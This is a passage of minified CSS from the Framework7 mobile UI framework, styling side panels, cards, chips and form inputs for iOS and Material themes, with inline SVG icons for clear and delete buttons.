.panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.ios .panel-backdrop{-webkit-transition-duration:.4s;transition-duration:.4s;background:rgba(0,0,0,0)}.ios .panel{-webkit-transition-duration:.4s;transition-duration:.4s}.ios.with-panel-left-reveal .framework7-root>.view,.ios.with-panel-left-reveal .views,.ios.with-panel-right-reveal .framework7-root>.view,.ios.with-panel-right-reveal .views,.ios.with-panel-transitioning .framework7-root>.view,.ios.with-panel-transitioning .views{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .panel-backdrop{-webkit-transition-duration:.3s;transition-duration:.3s;background:rgba(0,0,0,.2)}.md .panel{-webkit-transition-duration:.3s;transition-duration:.3s}.md .panel-visible{display:block}.md .panel-visible-by-breakpoint{-webkit-box-shadow:none;box-shadow:none}.md.with-panel-left-cover .panel-cover,.md.with-panel-right-cover .panel-cover{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views,.md.with-panel-transitioning .framework7-root>.view,.md.with-panel-transitioning .views{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform,-webkit-box-shadow;transition-property:-webkit-transform,-webkit-box-shadow;transition-property:transform,box-shadow;transition-property:transform,box-shadow,-webkit-transform,-webkit-box-shadow}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) .col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.ios .card .list ul,.ios .cards-list ul{background:0 0}.ios .card{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.3);box-shadow:0 1px 2px rgba(0,0,0,.3);margin:10px}.ios .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.ios .card-footer a.link,.ios .card-header a.link{line-height:44px;height:44px;margin-top:-10px;margin-bottom:-10px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .card-footer a.icon-only,.ios .card-header a.icon-only{min-width:44px}.ios .card-content-padding{padding:15px}.ios .card-content-padding>.block,.ios .card-content-padding>.list{margin:-15px}.ios .card-footer,.ios .card-header{min-height:44px;padding:10px 15px}.ios .card-header{font-size:17px}.ios .card-footer{color:#6d6d72}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}.ios .theme-dark .card{background-color:#1c1c1d}.ios .theme-dark .card-outline{border-color:#282829}.ios .theme-dark .card-header:after{background-color:#282829}.ios .theme-dark .card-footer{color:#8e8e93}.ios .theme-dark .card-footer:before{background-color:#282829}.md .card .list ul,.md .cards-list ul{background:0 0}.md .card{margin:8px;-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}.md .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.md .card-footer a.link,.md .card-header a.link{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}input[type=button].md .card-footer a.link,input[type=button].md .card-header a.link,input[type=submit].md .card-footer a.link,input[type=submit].md .card-header a.link{width:100%}.md .card-footer a.link.active-state,.md .card-header a.link.active-state{background:rgba(0,0,0,.1)}.md .card-footer a.icon-only,.md .card-header a.icon-only{min-width:48px}.md .page-content>.card:last-child{margin-bottom:32px}.md .card-content-padding{padding:16px}.md .card-content-padding>.block,.md .card-content-padding>.list{margin:-16px}.md .card-footer,.md .card-header{min-height:48px;padding:4px 16px}.md .card-header{font-size:16px}.md .card-footer{color:#757575}.md .theme-dark .card{background-color:rgba(255,255,255,.03)}.md .theme-dark .card-outline{border-color:#282829}.md .theme-dark .card-header:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .card-footer{color:rgba(255,255,255,.54)}.md .theme-dark .card-footer:before{background-color:rgba(255,255,255,.08)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}.md .card-footer.color-theme-red a.link,.md .card-header.color-theme-red a.link,.md .color-theme-red .card-footer a.link,.md .color-theme-red .card-header a.link{color:#f44336}.md .card-footer.color-theme-green a.link,.md .card-header.color-theme-green a.link,.md .color-theme-green .card-footer a.link,.md .color-theme-green .card-header a.link{color:#4caf50}.md .card-footer.color-theme-blue a.link,.md .card-header.color-theme-blue a.link,.md .color-theme-blue .card-footer a.link,.md .color-theme-blue .card-header a.link{color:#2196f3}.md .card-footer.color-theme-pink a.link,.md .card-header.color-theme-pink a.link,.md .color-theme-pink .card-footer a.link,.md .color-theme-pink .card-header a.link{color:#e91e63}.md .card-footer.color-theme-yellow a.link,.md .card-header.color-theme-yellow a.link,.md .color-theme-yellow .card-footer a.link,.md .color-theme-yellow .card-header a.link{color:#ffeb3b}.md .card-footer.color-theme-orange a.link,.md .card-header.color-theme-orange a.link,.md .color-theme-orange .card-footer a.link,.md .color-theme-orange .card-header a.link{color:#ff9800}.md .card-footer.color-theme-gray a.link,.md .card-header.color-theme-gray a.link,.md .color-theme-gray .card-footer a.link,.md .color-theme-gray .card-header a.link{color:#9e9e9e}.md .card-footer.color-theme-white a.link,.md .card-header.color-theme-white a.link,.md .color-theme-white .card-footer a.link,.md .color-theme-white .card-header a.link{color:#fff}.md .card-footer.color-theme-black a.link,.md .card-header.color-theme-black a.link,.md .color-theme-black .card-footer a.link,.md .color-theme-black .card-header a.link{color:#000}.md .card-footer a.link.color-red,.md .card-header a.link.color-red{color:#f44336}.md .card-footer a.link.color-green,.md .card-header a.link.color-green{color:#4caf50}.md .card-footer a.link.color-blue,.md .card-header a.link.color-blue{color:#2196f3}.md .card-footer a.link.color-pink,.md .card-header a.link.color-pink{color:#e91e63}.md .card-footer a.link.color-yellow,.md .card-header a.link.color-yellow{color:#ffeb3b}.md .card-footer a.link.color-orange,.md .card-header a.link.color-orange{color:#ff9800}.md .card-footer a.link.color-gray,.md .card-header a.link.color-gray{color:#9e9e9e}.md .card-footer a.link.color-white,.md .card-header a.link.color-white{color:#fff}.md .card-footer a.link.color-black,.md .card-header a.link.color-black{color:#000}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.ios .chip{font-size:13px;color:#000;background:rgba(0,0,0,.12);height:24px;border-radius:12px;padding:0 10px}.ios .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.ios .chip-media{width:24px;height:24px;vertical-align:middle;border-radius:50%;text-align:center;line-height:16px;color:#fff;font-size:12px;-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:-10px}.ios .chip-media+.chip-label{margin-left:4px}.ios .chip-media i.icon{font-size:16px;height:16px}.ios .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:14px 14px;opacity:.54;margin-right:-10px}.ios .theme-dark .chip{background-color:#333;color:#fff}.ios .theme-dark .chip-outline{background:0 0;border-color:#333}.ios .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E")}.ios .chip.color-red{background:#ff3b30;color:#fff}.ios .chip.color-red.chip-outline{background:0 0;border-color:#ff3b30;color:#ff3b30}.ios .chip.color-green{background:#4cd964;color:#fff}.ios .chip.color-green.chip-outline{background:0 0;border-color:#4cd964;color:#4cd964}.ios .chip.color-blue{background:#007aff;color:#fff}.ios .chip.color-blue.chip-outline{background:0 0;border-color:#007aff;color:#007aff}.ios .chip.color-pink{background:#ff2d55;color:#fff}.ios .chip.color-pink.chip-outline{background:0 0;border-color:#ff2d55;color:#ff2d55}.ios .chip.color-yellow{background:#fc0;color:#fff}.ios .chip.color-yellow.chip-outline{background:0 0;border-color:#fc0;color:#fc0}.ios .chip.color-orange{background:#ff9500;color:#fff}.ios .chip.color-orange.chip-outline{background:0 0;border-color:#ff9500;color:#ff9500}.ios .chip.color-gray{background:#8e8e93;color:#fff}.ios .chip.color-gray.chip-outline{background:0 0;border-color:#8e8e93;color:#8e8e93}.ios .chip.color-white{background:#fff;color:#fff}.ios .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.ios .chip.color-black{background:#000;color:#fff}.ios .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}.md .chip{font-size:13px;color:rgba(0,0,0,.87);background:rgba(0,0,0,.12);height:32px;line-height:32px;border-radius:16px;padding:0 12px}.md .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.md .chip-media{width:32px;height:32px;vertical-align:top;border-radius:50%;text-align:center;line-height:32px;color:#fff;font-size:16px;margin-left:-12px}.md .chip-media+.chip-label{margin-left:8px}.md .chip-label+.chip-delete{margin-left:4px}.md .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:20px 20px;opacity:.54;margin-right:-8px}.md .theme-dark .chip{background:#333;color:rgba(255,255,255,.87)}.md .theme-dark .chip-outline{background:0 0;border-color:#333}.md .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .chip.color-red{background:#f44336;color:#fff}.md .chip.color-red.chip-outline{background:0 0;border-color:#f44336;color:#f44336}.md .chip.color-green{background:#4caf50;color:#fff}.md .chip.color-green.chip-outline{background:0 0;border-color:#4caf50;color:#4caf50}.md .chip.color-blue{background:#2196f3;color:#fff}.md .chip.color-blue.chip-outline{background:0 0;border-color:#2196f3;color:#2196f3}.md .chip.color-pink{background:#e91e63;color:#fff}.md .chip.color-pink.chip-outline{background:0 0;border-color:#e91e63;color:#e91e63}.md .chip.color-yellow{background:#ffeb3b;color:#fff}.md .chip.color-yellow.chip-outline{background:0 0;border-color:#ffeb3b;color:#ffeb3b}.md .chip.color-orange{background:#ff9800;color:#fff}.md .chip.color-orange.chip-outline{background:0 0;border-color:#ff9800;color:#ff9800}.md .chip.color-gray{background:#9e9e9e;color:#fff}.md .chip.color-gray.chip-outline{background:0 0;border-color:#9e9e9e;color:#9e9e9e}.md .chip.color-white{background:#fff;color:#fff}.md .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.md .chip.color-black{background:#000;color:#fff}.md .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;right:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;right:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.ios .list input[type=date],.ios .list input[type=datetime-local],.ios .list input[type=email],.ios .list input[type=number],.ios .list input[type=password],.ios .list input[type=search],.ios .list input[type=tel],.ios .list input[type=text],.ios .list input[type=time],.ios .list input[type=url],.ios .list select{height:44px;color:#000;font-size:17px}.ios .list textarea{color:#000;font-size:17px;padding-top:11px;padding-bottom:11px}.ios .list textarea.resizable{height:44px}.ios .item-floating-label,.ios .item-label{font-size:12px;width:100%;line-height:1;overflow:visible}.ios .item-floating-label+.item-input-wrap,.ios .item-label+.item-input-wrap{margin-top:0}.ios .item-input .item-inner{display:block}.ios .item-input .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.ios .item-input-wrap{margin-top:-8px;margin-bottom:-8px}.ios .inline-label .item-inner,.ios .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ios .inline-label .item-floating-label,.ios .inline-label .item-label,.ios .inline-labels .item-floating-label,.ios .inline-labels .item-label{font-size:17px;width:35%;line-height:1.4;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:3px}.ios .inline-label .item-floating-label+.item-input-wrap,.ios .inline-label .item-label+.item-input-wrap,.ios .inline-labels .item-floating-label+.item-input-wrap,.ios .inline-labels .item-label+.item-input-wrap{margin-top:-8px;margin-left:5px}.ios .inline-label .item-input-wrap,.ios .inline-labels .item-input-wrap{margin-top:-8px}.ios .item-input-with-error-message .item-input-wrap input,.ios .item-input-with-error-message .item-input-wrap select,.ios .item-input-with-error-message .item-input-wrap textarea,.ios div.input-with-error-message input,.ios div.input-with-error-message select,.ios div.input-with-error-message textarea,.ios span.input-with-error-message input,.ios span.input-with-error-message select,.ios span.input-with-error-message textarea{color:#ff3b30}.ios .input-error-message,.ios .input-info,.ios .item-input-error-message,.ios .item-input-info{font-size:12px;line-height:1.4;position:relative;margin-bottom:6px;margin-top:-8px}.ios .input-info,.ios .item-input-info{color:#8e8e93}.ios .input-error-message,.ios .item-input-error-message{color:#ff3b30;display:none}.ios .item-input-invalid .item-input-error-message{display:block}.ios .item-input-invalid .item-input-info{display:none}.ios .input-invalid .input-error-message{display:block}.ios .input-invalid .input-info{display:none}.ios .input-clear-button{width:14px;height:14px;margin-top:-7px}.ios .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-size:14px 14px}.ios .input-clear-button:before{width:44px;height:44px;margin-left:-22px;margin-top:-22px}.ios .item-input-wrap .input-clear-button{top:22px}.ios .theme-dark .list input[type=date],.ios .theme-dark .list input[type=datetime-local],.ios .theme-dark .list input[type=email],.ios .theme-dark .list input[type=number],.ios .theme-dark .list input[type=password],.ios .theme-dark .list input[type=search],.ios .theme-dark .list input[type=tel],.ios .theme-dark .list input[type=text],.ios .theme-dark .list input[type=time],.ios .theme-dark .list input[type=url],.ios .theme-dark .list select,.list.ios .theme-dark input[type=date],.list.ios .theme-dark input[type=datetime-local],.list.ios .theme-dark input[type=email],.list.ios .theme-dark input[type=number],.list.ios .theme-dark input[type=password],.list.ios .theme-dark input[type=search],.list.ios .theme-dark input[type=tel],.list.ios .theme-dark input[type=text],.list.ios .theme-dark input[type=time],.list.ios .theme-dark input[type=url],.list.ios .theme-dark select{color:#fff}.ios .theme-dark .list textarea,.list.ios .theme-dark textarea{color:#fff}.md .list input[type=date],.md .list input[type=datetime-local],.md .list input[type=email],.md .list input[type=number],.md .list input[type=password],.md .list input[type=search],.md .list input[type=tel],.md .list input[type=text],.md .list input[type=time],.md .list input[type=url],.md .list select{height:36px;color:#212121;font-size:16px}.md .list input[type=date]::-webkit-input-placeholder,.md .list input[type=datetime-local]::-webkit-input-placeholder,.md .list input[type=email]::-webkit-input-placeholder,.md .list input[type=number]::-webkit-input-placeholder,.md .list input[type=password]::-webkit-input-placeholder,.md .list input[type=search]::-webkit-input-placeholder,.md .list input[type=tel]::-webkit-input-placeholder,.md .list input[type=text]::-webkit-input-placeholder,.md .list input[type=time]::-webkit-input-placeholder,.md .list input[type=url]::-webkit-input-placeholder,.md .list select::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]:-ms-input-placeholder,.md .list input[type=datetime-local]:-ms-input-placeholder,.md .list input[type=email]:-ms-input-placeholder,.md .list input[type=number]:-ms-input-placeholder,.md .list input[type=password]:-ms-input-placeholder,.md .list input[type=search]:-ms-input-placeholder,.md .list input[type=tel]:-ms-input-placeholder,.md .list input[type=text]:-ms-input-placeholder,.md .list input[type=time]:-ms-input-placeholder,.md .list input[type=url]:-ms-input-placeholder,.md .list select:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::-ms-input-placeholder,.md .list input[type=datetime-local]::-ms-input-placeholder,.md .list input[type=email]::-ms-input-placeholder,.md .list input[type=number]::-ms-input-placeholder,.md .list input[type=password]::-ms-input-placeholder,.md .list input[type=search]::-ms-input-placeholder,.md .list input[type=tel]::-ms-input-placeholder,.md .list input[type=text]::-ms-input-placeholder,.md .list input[type=time]::-ms-input-placeholder,.md .list input[type=url]::-ms-input-placeholder,.md .list select::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::placeholder,.md .list input[type=datetime-local]::placeholder,.md .list input[type=email]::placeholder,.md .list input[type=number]::placeholder,.md .list input[type=password]::placeholder,.md .list input[type=search]::placeholder,.md .list input[type=tel]::placeholder,.md .list input[type=text]::placeholder,.md .list input[type=time]::placeholder,.md .list input[type=url]::placeholder,.md .list select::placeholder{color:rgba(0,0,0,.35)}.md .list textarea{color:#212121;font-size:16px;padding-top:7px;padding-bottom:7px}.md .list textarea.resizable{height:36px}.md .list textarea::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::placeholder{color:rgba(0,0,0,.35)}.md .input:after,.md .item-input-wrap:after{-webkit-transition-duration:.2s;transition-duration:.2s}.md .item-input-wrap{min-height:36px}.md .item-input-wrap:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .item-input-wrap:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .item-input-wrap:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .input:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 